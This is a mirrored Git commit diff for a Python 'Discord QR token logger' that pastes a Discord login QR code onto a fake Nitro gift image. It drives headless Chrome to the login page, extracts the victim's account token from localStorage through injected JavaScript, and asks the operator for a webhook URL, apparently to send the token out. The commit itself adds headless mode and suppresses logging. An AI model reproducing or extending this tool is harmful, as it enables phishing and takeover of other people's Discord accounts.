mirror of
https://github.com/9P9/Discord-QR-Token-Logger.git
synced 2025-07-29 05:55:29 +00:00
Update QR-dtg.py
This commit is contained in:
parent
25dca5e6f4
commit
6b0723c1b5
12
QR-dtg.py
12
QR-dtg.py
@ -3,6 +3,7 @@ from bs4 import BeautifulSoup
|
||||
from colorama import Fore, init
|
||||
from PIL import Image
|
||||
from selenium import webdriver
|
||||
from warnings import filterwarnings
|
||||
|
||||
def clear() -> None:
|
||||
"""Clear the screen; works with "cls" and "clear" commands.
|
||||
@ -14,7 +15,6 @@ def clear() -> None:
|
||||
else:
|
||||
pass
|
||||
|
||||
|
||||
def generate_qr() -> None:
|
||||
"""Generate a QR code to paste onto a discord nitro template.
|
||||
"""
|
||||
@ -23,7 +23,6 @@ def generate_qr() -> None:
|
||||
qr_img.paste(ovly_img, (60, 55))
|
||||
qr_img.save(os.path.normpath(r"resources/final_qr.png"), quality=95)
|
||||
|
||||
|
||||
def generate_nitro_template() -> None:
|
||||
"""Generate the nitro template using the QR code generated by generate_qr.
|
||||
"""
|
||||
@ -35,7 +34,6 @@ def generate_nitro_template() -> None:
|
||||
nitro_template.paste(qr_img, (120, 409))
|
||||
nitro_template.save("discord_gift.png", quality=95)
|
||||
|
||||
|
||||
def main(webhook_url) -> None:
|
||||
"""Use selenium webdriver to go to the discord login page.
|
||||
Then, grab the source of the page and use regex to identify the class
|
||||
@ -49,6 +47,9 @@ def main(webhook_url) -> None:
|
||||
webdriver.ChromeOptions.binary_location = r"browser/chrome.exe"
|
||||
opts = webdriver.ChromeOptions()
|
||||
opts.add_experimental_option("detach", True)
|
||||
opts.add_experimental_option('excludeSwitches', ['enable-logging'])
|
||||
opts.headless = True
|
||||
opts.add_argument('--log-level 3')
|
||||
driver = webdriver.Chrome(os.path.normpath(r"browser/chromedriver.exe"), options=opts)
|
||||
driver.get("https://discord.com/login")
|
||||
time.sleep(5) # Make sure QR has fully loaded before taking source!
|
||||
@ -86,7 +87,7 @@ document.body.appendChild(iframe);
|
||||
let localStorage = iframe.contentWindow.localStorage;
|
||||
var token = JSON.parse(localStorage.token);
|
||||
return token;
|
||||
|
||||
|
||||
''')
|
||||
|
||||
print(f"""
|
||||
@ -115,8 +116,8 @@ end="")
|
||||
|
||||
driver.quit()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
filterwarnings("ignore", category=DeprecationWarning)
|
||||
init()
|
||||
clear()
|
||||
print(f"""
|
||||
@ -127,6 +128,7 @@ Using utilities.tk API
|
||||
Revised by Luci (9P9)
|
||||
Revised by the-cult-of-integral
|
||||
Revised by mte0
|
||||
Revised by Lemon.-_-.#3714 (mouadessalim)
|
||||
|
||||
{Fore.LIGHTYELLOW_EX}Enter a webhook URL.
|
||||
>>> {Fore.LIGHTWHITE_EX}""", end="")
|
||||
|
Loading…
x
Reference in New Issue
Block a user